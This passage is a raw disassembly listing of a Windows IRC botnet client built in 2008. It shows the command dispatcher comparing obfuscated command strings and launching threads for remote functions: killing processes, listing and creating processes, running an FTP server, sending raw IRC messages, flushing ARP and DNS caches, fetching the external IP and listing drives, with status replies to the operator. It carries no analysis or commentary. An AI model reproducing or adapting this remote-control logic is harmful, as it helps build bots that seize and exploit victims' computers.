call ebx ; dword_42F070 test eax, eax jnz loc_404EB6 push 0Dh call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_404D81 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset a8niowW5nrt1 ; "8nIOw/w5nRT1" jnz short loc_404D6F cmp [ebp+arg_18], 0 jnz short loc_404D79 push eax push offset dword_435C14 push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404D6F: ; CODE XREF: sub_403B2C+1225j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404D79: ; CODE XREF: sub_403B2C+122Bj push [ebp+arg_C] jmp loc_404E58 ; --------------------------------------------------------------------------- loc_404D81: ; CODE XREF: sub_403B2C+1215j mov eax, [ebp+arg_14] mov [ebp+var_33E0], eax mov eax, [ebp+arg_20] mov [ebp+var_33E4], eax push dword ptr [edi+0Ch] lea eax, [ebp+var_3490] push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_3494], eax mov esi, [esi+4] test esi, esi jz short loc_404DBC push esi call sub_422B5A pop ecx jmp short loc_404DC3 ; --------------------------------------------------------------------------- loc_404DBC: ; CODE XREF: sub_403B2C+1285j movzx eax, word_439012 loc_404DC3: ; CODE XREF: sub_403B2C+128Ej mov esi, offset dword_4552D0 push eax mov ebx, offset a8niowW5nrt1 ; "8nIOw/w5nRT1" push esi push ebx push offset aSRunningOnSI ; "%s Running on: [%s:%i]" push 0Dh mov [ebp+var_33F4], eax call sub_41BED7 add esp, 14h mov [ebp+var_3410], eax lea eax, [ebp+arg_6C] lea ecx, [ebp+var_3494] push eax xor eax, eax push eax push ecx push offset sub_41EE55 push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_3410] imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jnz short loc_404E6A cmp [ebp+arg_14], eax mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_404E47 cmp [ebp+arg_18], eax jnz short loc_404E51 call dword_42F068 ; RtlGetLastWin32Error push eax push offset dword_435C14 push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404E47: ; CODE XREF: sub_403B2C+12F8j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404E51: ; CODE XREF: sub_403B2C+12FDj call dword_42F068 ; RtlGetLastWin32Error push eax loc_404E58: ; CODE XREF: sub_403B2C+1250j push offset dword_435C14 jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_404E62: ; CODE XREF: sub_403B2C+1345j push 32h call dword_42F15C ; Sleep loc_404E6A: ; CODE XREF: sub_403B2C+12EEj cmp [ebp+var_33D8], 0 jz short loc_404E62 cmp [ebp+arg_14], 0 jnz short loc_404E9A cmp [ebp+arg_18], 0 jnz short loc_404EA4 push [ebp+var_33F4] push esi push ebx push offset aSRunningOnSI ; "%s Running on: [%s:%i]" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404E9A: ; CODE XREF: sub_403B2C+134Bj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404EA4: ; CODE XREF: sub_403B2C+1351j push [ebp+var_33F4] push esi push ebx push offset aSRunningOnSI ; "%s Running on: [%s:%i]" jmp loc_40AF47 ; --------------------------------------------------------------------------- loc_404EB6: ; CODE XREF: sub_403B2C+1202j push dword ptr [esi] push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1" call ebx ; dword_42F070 test eax, eax jnz short loc_404ECF push offset dword_435C14 push 0Dh jmp loc_409B7C ; --------------------------------------------------------------------------- loc_404ECF: ; CODE XREF: sub_403B2C+1395j push dword ptr [esi] push offset aS3dyJzo6r ; "s3dY//JZo6r/" call ebx ; dword_42F070 test eax, eax jnz short loc_404F3D cmp [ebp+arg_18], eax jnz short loc_404F0A cmp [ebp+arg_20], eax mov eax, offset a_BuiltJun10200 ; ". Built: Jun 10 2008." jnz short loc_404EF0 mov eax, offset byte_44D6A4 loc_404EF0: ; CODE XREF: sub_403B2C+13BDj push eax push (offset loc_439027+1) push (offset loc_439043+1) push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSSSS ; "%s %s (%s) %s" jmp loc_408818 ; --------------------------------------------------------------------------- loc_404F0A: ; CODE XREF: sub_403B2C+13B3j cmp [ebp+arg_20], eax mov eax, offset a_BuiltJun10200 ; ". Built: Jun 10 2008." jnz short loc_404F19 mov eax, offset byte_44D6A4 loc_404F19: ; CODE XREF: sub_403B2C+13E6j push eax push (offset loc_439027+1) push (offset loc_439043+1) push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSSSS ; "%s %s (%s) %s" loc_404F2E: ; CODE XREF: sub_403B2C+1966j ; sub_403B2C+49AEj ... push dword ptr [edi] push [ebp+arg_10] call sub_410491 jmp loc_408823 ; --------------------------------------------------------------------------- loc_404F3D: ; CODE XREF: sub_403B2C+13AEj push dword ptr [esi] push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60" call ebx ; dword_42F070 test eax, eax jnz short loc_404FAF xor ebx, ebx push 1 push ebx call dword_42F164 ; GetTickCount push eax call sub_418A1B push eax push offset aH08_Drzwx_ ; "h/08./drzWX." lea eax, [ebp+var_14CAC] push offset aSUptimeS ; "%s UPTime: (%s)" push eax call sub_422063 add esp, 1Ch cmp [ebp+arg_14], ebx mov esi, offset aS_1 ; "%s" jnz short loc_404F9A cmp [ebp+arg_18], ebx jnz short loc_404FA3 lea eax, [ebp+var_14CAC] push eax push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_404F9A: ; CODE XREF: sub_403B2C+1451j cmp [ebp+arg_18], ebx jz loc_40AF54 loc_404FA3: ; CODE XREF: sub_403B2C+1456j lea eax, [ebp+var_14CAC] push eax jmp loc_40ADA0 ; --------------------------------------------------------------------------- loc_404FAF: ; CODE XREF: sub_403B2C+141Cj push dword ptr [esi] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call ebx ; dword_42F070 test eax, eax jz loc_40ADB3 push dword ptr [esi] push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" call ebx ; dword_42F070 test eax, eax jz loc_40ADB3 push dword ptr [esi] push offset a47ff020f_0_ ; "47Ff/020f.0." call ebx ; dword_42F070 test eax, eax jnz loc_4050F7 mov eax, [ebp+arg_10] push offset dword_439644 mov [ebp+var_4D0], eax mov eax, [ebp+arg_14] mov [ebp+var_444], eax mov eax, [ebp+arg_18] mov [ebp+var_440], eax mov eax, [ebp+arg_20] mov [ebp+var_43C], eax lea eax, [ebp+var_4CC] push eax call dword_42F04C ; lstrcpyA mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push ebx push offset aSBkillThread_ ; "%s BKill thread." push 10h call sub_41BED7 add esp, 0Ch cmp [ebp+arg_14], 0 mov [ebp+var_44C], eax mov esi, offset aSBkillStarted ; "%s BKill Started" jnz short loc_405054 cmp [ebp+arg_18], 0 jnz short loc_40505A push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_405054: ; CODE XREF: sub_403B2C+1510j cmp [ebp+arg_18], 0 jz short loc_405069 loc_40505A: ; CODE XREF: sub_403B2C+1516j push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h loc_405069: ; CODE XREF: sub_403B2C+152Cj lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_4D0] push esi push eax push offset sub_417A90 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_44C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_4050EA cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_4050C7 cmp [ebp+arg_18], 0 jnz short loc_4050D1 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aBkill ; "BKill" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4050C7: ; CODE XREF: sub_403B2C+1577j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4050D1: ; CODE XREF: sub_403B2C+157Dj call dword_42F068 ; RtlGetLastWin32Error push eax push offset aBkill ; "BKill" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_4050E2: ; CODE XREF: sub_403B2C+15C4j push 32h call dword_42F15C ; Sleep loc_4050EA: ; CODE XREF: sub_403B2C+156Cj cmp [ebp+var_438], esi jz short loc_4050E2 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4050F7: ; CODE XREF: sub_403B2C+14B0j push dword ptr [esi] push offset aHyomeIovtv_ ; "HyOMe/iovtV." call ebx ; dword_42F070 test eax, eax jnz loc_4053FB xor ecx, ecx cmp [esi+4], ecx jnz short loc_40511E mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jmp loc_40AD5F ; --------------------------------------------------------------------------- loc_40511E: ; CODE XREF: sub_403B2C+15E1j mov eax, [ebp+arg_14] mov edx, [ebp+arg_20] mov [ebp+var_66C], eax mov eax, [ebp+arg_18] mov [ebp+var_668], eax cmp eax, ecx mov [ebp+var_670], edx lea eax, [ebp+var_71C] jnz short loc_405148 push dword ptr [edi+0Ch] jmp short loc_40514A ; --------------------------------------------------------------------------- loc_405148: ; CODE XREF: sub_403B2C+1615j push dword ptr [edi] loc_40514A: ; CODE XREF: sub_403B2C+161Aj push eax call dword_42F04C ; lstrcpyA xor eax, eax mov [ebp+var_68C], eax mov [ebp+var_688], eax mov [ebp+var_684], eax mov eax, [ebp+arg_10] mov [ebp+var_720], eax push dword ptr [esi+4] push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1" call ebx ; dword_42F070 test eax, eax jnz short loc_4051D2 xor ebx, ebx inc ebx push ebx call sub_41C254 test eax, eax pop ecx jle short loc_4051C1 cmp [ebp+arg_18], 0 push eax push offset aProcs ; "Procs" push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... jnz short loc_4051AD push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 jmp short loc_4051B7 ; --------------------------------------------------------------------------- loc_4051AD: ; CODE XREF: sub_403B2C+1672j push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_4051B7: ; CODE XREF: sub_403B2C+167Fj add esp, 18h mov eax, ebx jmp loc_40AF57 ; --------------------------------------------------------------------------- loc_4051C1: ; CODE XREF: sub_403B2C+165Cj mov [ebp+var_68C], ebx mov esi, [esi+8] mov [ebp+var_694], esi jmp short loc_40523A ; --------------------------------------------------------------------------- loc_4051D2: ; CODE XREF: sub_403B2C+164Ej push dword ptr [esi+4] push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1" call ebx ; dword_42F070 test eax, eax jnz short loc_4051FD mov esi, [esi+8] cmp esi, eax jnz short loc_4051F1 mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jmp loc_409FCE ; --------------------------------------------------------------------------- loc_4051F1: ; CODE XREF: sub_403B2C+16B9j mov [ebp+var_688], 1 jmp short loc_40522E ; --------------------------------------------------------------------------- loc_4051FD: ; CODE XREF: sub_403B2C+16B2j push dword ptr [esi+4] push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0" call ebx ; dword_42F070 test eax, eax jnz loc_4052AC mov esi, [esi+8] test esi, esi jnz short loc_405225 mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_405225: ; CODE XREF: sub_403B2C+16E8j xor eax, eax inc eax mov [ebp+var_688], eax loc_40522E: ; CODE XREF: sub_403B2C+16CFj mov [ebp+var_698], esi mov [ebp+var_684], eax loc_40523A: ; CODE XREF: sub_403B2C+16A4j mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push ebx push offset aSProcs ; "%s Procs" push 1 call sub_41BED7 add esp, 0Ch mov [ebp+var_69C], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_720] push esi push eax push offset sub_418010 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_69C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_4053B3 cmp [ebp+var_664], esi jnz loc_40AF54 loc_405296: ; CODE XREF: sub_403B2C+1779j push 32h call dword_42F15C ; Sleep cmp [ebp+var_664], 0 jz short loc_405296 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4052AC: ; CODE XREF: sub_403B2C+16DDj push dword ptr [esi+4] push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1" call ebx ; dword_42F070 test eax, eax jnz loc_40AF54 cmp [esi+8], eax jnz short loc_4052CD mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jmp loc_40AD75 ; --------------------------------------------------------------------------- loc_4052CD: ; CODE XREF: sub_403B2C+1795j xor ecx, ecx inc ecx cmp [esi+0Ch], eax jz short loc_4052DB mov [ebp+var_68C], ecx loc_4052DB: ; CODE XREF: sub_403B2C+17A7j cmp [ebp+arg_38], eax jz short loc_4052E6 mov [ebp+var_688], ecx loc_4052E6: ; CODE XREF: sub_403B2C+17B2j push dword ptr [esi+8] lea eax, [ebp+var_5198] push eax call sub_422063 xor esi, esi pop ecx cmp [ebp+arg_30], esi pop ecx jz short loc_405339 cmp [ebp+arg_34], 0 mov bl, 5Fh jz short loc_405309 mov bl, [ebp+arg_34] loc_405309: ; CODE XREF: sub_403B2C+17D8j push [ebp+var_698] call sub_422120 test eax, eax pop ecx jbe short loc_405339 loc_405319: ; CODE XREF: sub_403B2C+180Bj mov eax, [ebp+var_698] add eax, esi cmp [eax], bl jnz short loc_405328 mov byte ptr [eax], 20h loc_405328: ; CODE XREF: sub_403B2C+17F7j push [ebp+var_698] inc esi call sub_422120 cmp esi, eax pop ecx jb short loc_405319 loc_405339: ; CODE XREF: sub_403B2C+17D0j ; sub_403B2C+17EBj mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" lea eax, [ebp+var_5198] push ebx push offset aSCreateProcess ; "%s Create process thread." push 1 mov [ebp+var_698], eax call sub_41BED7 add esp, 0Ch mov [ebp+var_69C], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_720] push esi push eax push offset sub_417CD7 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_69C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz short loc_4053B3 cmp [ebp+var_664], esi jnz loc_40AF54 loc_40539D: ; CODE XREF: sub_403B2C+1880j push 32h call dword_42F15C ; Sleep cmp [ebp+var_664], 0 jz short loc_40539D jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4053B3: ; CODE XREF: sub_403B2C+1758j ; sub_403B2C+1863j cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_4053E0 cmp [ebp+arg_18], 0 jnz short loc_4053EA call dword_42F068 ; RtlGetLastWin32Error push eax push offset aProcs ; "Procs" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4053E0: ; CODE XREF: sub_403B2C+1890j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4053EA: ; CODE XREF: sub_403B2C+1896j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aProcs ; "Procs" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_4053FB: ; CODE XREF: sub_403B2C+15D6j push dword ptr [esi] push offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g." call ebx ; dword_42F070 test eax, eax jnz short loc_405422 mov ecx, [ebp+arg_10] push 5 push 7 call sub_410806 mov ecx, [ebp+arg_10] push eax call sub_4110F4 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_405422: ; CODE XREF: sub_403B2C+18DAj push dword ptr [esi] push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" call ebx ; dword_42F070 test eax, eax jnz loc_405628 push 9 call sub_41C254 xor ebx, ebx pop ecx cmp eax, ebx mov [ebp+arg_C], eax jle short loc_405497 cmp [ebp+arg_14], ebx mov esi, offset aPnmnw_7rscg0 ; "PnmNw.7RScG0" jnz short loc_405474 cmp [ebp+arg_18], ebx jnz short loc_40547D push dword_455398 push eax push dword_44D680 push esi push offset aSEftpdRunningO ; "%s EFTPD running on port: %i, thread nu"... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_405474: ; CODE XREF: sub_403B2C+1920j cmp [ebp+arg_18], ebx jz loc_40AF54 loc_40547D: ; CODE XREF: sub_403B2C+1925j push dword_455398 push [ebp+arg_C] push dword_44D680 push esi push offset aSEftpdRunningO ; "%s EFTPD running on port: %i, thread nu"... jmp loc_404F2E ; --------------------------------------------------------------------------- loc_405497: ; CODE XREF: sub_403B2C+1916j cmp dword_455600, ebx jnz short loc_4054BA call sub_4220FC cdq mov ecx, 12CCh idiv ecx add edx, 400h mov dword_4540A4, edx jmp short loc_4054C6 ; --------------------------------------------------------------------------- loc_4054BA: ; CODE XREF: sub_403B2C+1971j movzx eax, word_439010 mov dword_4540A4, eax loc_4054C6: ; CODE XREF: sub_403B2C+198Cj mov esi, offset dword_453E94 push 104h push esi push ebx mov dword_4540A0, ebx call dword_42F154 ; GetModuleFileNameA push 103h push offset loc_439030 push offset dword_453F98 call sub_4222F0 push 7Fh push offset dword_439638 push offset dword_4540A8 mov dword_454134, ebx call sub_4222F0 mov eax, [ebp+arg_14] push esi push dword_4540A4 mov dword_45412C, eax mov eax, [ebp+arg_20] mov esi, offset aPnmnw_7rscg0 ; "PnmNw.7RScG0" mov dword_454130, eax mov eax, [ebp+arg_10] push esi push offset aSServerStarted ; "%s Server started on Port: %i, File: %s"... push 9 mov dword_454138, eax call sub_41BED7 add esp, 2Ch mov dword_45409C, eax lea eax, [ebp+arg_6C] push eax push ebx push offset dword_453E90 push offset sub_402190 push ebx push ebx call dword_42F158 ; CreateThread mov ecx, dword_45409C imul ecx, 1018h cmp eax, ebx mov dword_46D414[ecx], eax jnz short loc_4055CD xor eax, eax mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" cmp [ebp+arg_14], eax mov ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" jnz short loc_4055AA cmp [ebp+arg_18], eax jnz short loc_4055B4 cmp [ebp+arg_1C], eax jnz loc_40AF54 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aEftpd ; "EFTPD" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4055AA: ; CODE XREF: sub_403B2C+1A52j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4055B4: ; CODE XREF: sub_403B2C+1A57j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aEftpd ; "EFTPD" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_4055C5: ; CODE XREF: sub_403B2C+1AA7j push 32h call dword_42F15C ; Sleep loc_4055CD: ; CODE XREF: sub_403B2C+1A41j cmp dword_454134, ebx jz short loc_4055C5 cmp [ebp+arg_14], ebx jnz short loc_405608 cmp [ebp+arg_18], ebx jnz short loc_405611 cmp [ebp+arg_1C], ebx jnz loc_40AF54 push dword_45409C push dword_4540A4 push esi push offset aSEftpdEnabledO ; "%s EFTPD enabled on port: %i, thread nu"... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_405608: ; CODE XREF: sub_403B2C+1AACj cmp [ebp+arg_18], ebx jz loc_40AF54 loc_405611: ; CODE XREF: sub_403B2C+1AB1j push dword_45409C push dword_4540A4 push esi push offset aSEftpdEnabledO ; "%s EFTPD enabled on port: %i, thread nu"... jmp loc_40AF47 ; --------------------------------------------------------------------------- loc_405628: ; CODE XREF: sub_403B2C+1901j push dword ptr [esi] push offset aAjttz06ztse1 ; "ajTtz06Ztse1" call ebx ; dword_42F070 test eax, eax jnz short loc_40564B mov ecx, [ebp+arg_10] call sub_41111B mov ecx, [ebp+arg_10] push eax call sub_4105B8 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40564B: ; CODE XREF: sub_403B2C+1B07j push dword ptr [esi] push offset aUn3hk0sn58o ; "uN3hk0sn58o/" call ebx ; dword_42F070 test eax, eax jnz short loc_40567A mov eax, [esi+4] test eax, eax jz short loc_4056B4 mov esi, [esi+8] test esi, esi jnz short loc_40566B mov esi, offset byte_44D6A4 loc_40566B: ; CODE XREF: sub_403B2C+1B38j mov ecx, [ebp+arg_10] push esi push eax call sub_410720 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40567A: ; CODE XREF: sub_403B2C+1B2Aj push dword ptr [esi] push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1" call ebx ; dword_42F070 test eax, eax jnz short loc_40569C mov esi, [esi+4] test esi, esi jz short loc_4056B4 mov ecx, [ebp+arg_10] push esi call sub_41074B jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40569C: ; CODE XREF: sub_403B2C+1B59j push dword ptr [esi] push offset aBvuso0ed3mw ; "bVUSO0ed3MW/" call ebx ; dword_42F070 test eax, eax jnz loc_405777 mov eax, [esi+4] test eax, eax jnz short loc_4056C3 loc_4056B4: ; CODE XREF: sub_403B2C+1B31j ; sub_403B2C+1B60j mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aYuohiGmfzv ; "yUoHi/GMFZv/" jmp loc_407722 ; --------------------------------------------------------------------------- loc_4056C3: ; CODE XREF: sub_403B2C+1B86j push eax lea eax, [ebp+var_9CAC] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 2 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_405724 mov ebx, 1000h loc_4056E8: ; CODE XREF: sub_403B2C+1BF6j mov eax, [esi+eax*4] test eax, eax jz short loc_405718 push eax lea eax, [ebp+var_16CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_16CAC] push ebx push eax lea eax, [ebp+var_9CAC] push eax call sub_421F40 add esp, 18h loc_405718: ; CODE XREF: sub_403B2C+1BC1j mov eax, [ebp+arg_C] inc eax cmp eax, [ebp+arg_4] mov [ebp+arg_C], eax jl short loc_4056E8 loc_405724: ; CODE XREF: sub_403B2C+1BB5j lea eax, [ebp+var_9CAC] push eax push [ebp+arg_10] call sub_410772 cmp [ebp+arg_14], 0 pop ecx pop ecx mov ebx, offset aYuohiGmfzv ; "yUoHi/GMFZv/" mov esi, offset aSSentIrcRawS_ ; "%s Sent IRC raw: \"%s\"." jnz short loc_405762 cmp [ebp+arg_18], 0 jnz short loc_40576C lea eax, [ebp+var_9CAC] push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_405762: ; CODE XREF: sub_403B2C+1C17j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40576C: ; CODE XREF: sub_403B2C+1C1Dj lea eax, [ebp+var_9CAC] jmp loc_4041AF ; --------------------------------------------------------------------------- loc_405777: ; CODE XREF: sub_403B2C+1B7Bj push dword ptr [esi] push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0" call ebx ; dword_42F070 test eax, eax jnz short loc_4057A5 call sub_41F630 test eax, eax mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aSArpFlushed_ ; "%s ARP flushed." jnz loc_407722 mov esi, offset aSFailedToFlush ; "%s Failed to flush ARP." jmp loc_407722 ; --------------------------------------------------------------------------- loc_4057A5: ; CODE XREF: sub_403B2C+1C56j push dword ptr [esi] push offset aWpuwr_6yfru ; "WpuWr.6YFRU/" call ebx ; dword_42F070 test eax, eax jnz short loc_4057E9 mov eax, dword_454218 test eax, eax jz short loc_4057DA call eax ; dword_454218 test eax, eax mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." jz short loc_4057D0 mov esi, offset aSDnsCacheFlush ; "%s DNS cache flushed." jmp loc_407722 ; --------------------------------------------------------------------------- loc_4057D0: ; CODE XREF: sub_403B2C+1C98j mov esi, offset aSFailedToFlu_0 ; "%s Failed to flush DNS cache." jmp loc_407722 ; --------------------------------------------------------------------------- loc_4057DA: ; CODE XREF: sub_403B2C+1C8Dj mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aSFailedToLoadD ; "%s Failed to load dnsapi.dll." jmp loc_407722 ; --------------------------------------------------------------------------- loc_4057E9: ; CODE XREF: sub_403B2C+1C84j push dword ptr [esi] push offset a4rmbzFcic21 ; "4RmBz/FCic21" call ebx ; dword_42F070 test eax, eax jnz short loc_40580C push [ebp+arg_18] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_418B58 add esp, 0Ch jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40580C: ; CODE XREF: sub_403B2C+1CC8j push dword ptr [esi] push offset aSc_coSwlk_ ; "SC.Co/swLK/." call ebx ; dword_42F070 test eax, eax jnz loc_405903 push offset byte_44D6A4 push offset dword_4552D0 call sub_422760 pop ecx test eax, eax pop ecx jz short loc_405841 push offset dword_4552D0 call sub_414173 test eax, eax pop ecx jz short loc_4058AB loc_405841: ; CODE XREF: sub_403B2C+1D04j cmp [ebp+arg_14], 0 jnz short loc_405865 cmp [ebp+arg_18], 0 jnz short loc_40586B push offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k." push offset aSObtainingExte ; "%s Obtaining external IP" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_405865: ; CODE XREF: sub_403B2C+1D19j cmp [ebp+arg_18], 0 jz short loc_405882 loc_40586B: ; CODE XREF: sub_403B2C+1D1Fj push offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k." push offset aSObtainingExte ; "%s Obtaining external IP" push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h loc_405882: ; CODE XREF: sub_403B2C+1D3Dj mov ecx, [ebp+arg_10] call sub_41111B mov ecx, [ebp+arg_10] push eax call sub_4105B8 push 2710h push eax mov [ebp+arg_C], eax call dword_42F064 ; WaitForSingleObject push [ebp+arg_C] call dword_42F038 ; CloseHandle loc_4058AB: ; CODE XREF: sub_403B2C+1D13j mov eax, [esi+4] test eax, eax jz short loc_4058EC and [ebp+arg_4], 0 and [ebp+arg_C], 0 push eax push offset aSasd20nmhk50 ; "sAsD20NmhK50" call ebx ; dword_42F070 test eax, eax jnz short loc_4058CF mov [ebp+arg_C], 1 jmp short loc_4058E4 ; --------------------------------------------------------------------------- loc_4058CF: ; CODE XREF: sub_403B2C+1D98j push dword ptr [esi+4] push offset aKxor8_os17a0 ; "KxOR8.oS17a0" call ebx ; dword_42F070 test eax, eax jnz short loc_4058E4 mov [ebp+arg_4], 1 loc_4058E4: ; CODE XREF: sub_403B2C+1DA1j ; sub_403B2C+1DAFj push [ebp+arg_C] push [ebp+arg_4] jmp short loc_4058F0 ; --------------------------------------------------------------------------- loc_4058EC: ; CODE XREF: sub_403B2C+1D84j push 0 push 1 loc_4058F0: ; CODE XREF: sub_403B2C+1DBEj push [ebp+arg_18] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_418F30 jmp loc_40A5CD ; --------------------------------------------------------------------------- loc_405903: ; CODE XREF: sub_403B2C+1CEBj push dword ptr [esi] push offset aWyf3k1fthkz_ ; "WyF3K1fTHKz." call ebx ; dword_42F070 test eax, eax jnz loc_405B21 push 7 call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_405966 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" jnz short loc_40594F cmp [ebp+arg_18], 0 jnz short loc_405959 push eax push offset aDrivesList ; "Drives List" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40594F: ; CODE XREF: sub_403B2C+1E05j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_405959: ; CODE XREF: sub_403B2C+1E0Bj push [ebp+arg_C] push offset aDrivesList ; "Drives List" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_405966: ; CODE XREF: sub_403B2C+1DF5j mov eax, [ebp+arg_10] cmp [ebp+arg_18], 0 mov [ebp+var_960], eax lea eax, [ebp+var_95C] jnz short loc_405980 push dword ptr [edi+0Ch] jmp short loc_405982 ; --------------------------------------------------------------------------- loc_405980: ; CODE XREF: sub_403B2C+1E4Dj push dword ptr [edi] loc_405982: ; CODE XREF: sub_403B2C+1E52j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_14] xor ecx, ecx mov [ebp+var_8AC], eax mov eax, [ebp+arg_18] mov [ebp+var_8CC], ecx mov [ebp+var_8C8], ecx mov [ebp+var_8A4], ecx mov [ebp+var_8A8], eax mov eax, [esi+4] cmp eax, ecx jz loc_405A72 push eax push offset aKxor8_os17a0 ; "KxOR8.oS17a0" call ebx ; dword_42F070 test eax, eax jnz short loc_4059D2 mov [ebp+var_8CC], 1 jmp short loc_4059EA ; --------------------------------------------------------------------------- loc_4059D2: ; CODE XREF: sub_403B2C+1E98j push dword ptr [esi+4] push offset aSasd20nmhk50 ; "sAsD20NmhK50" call ebx ; 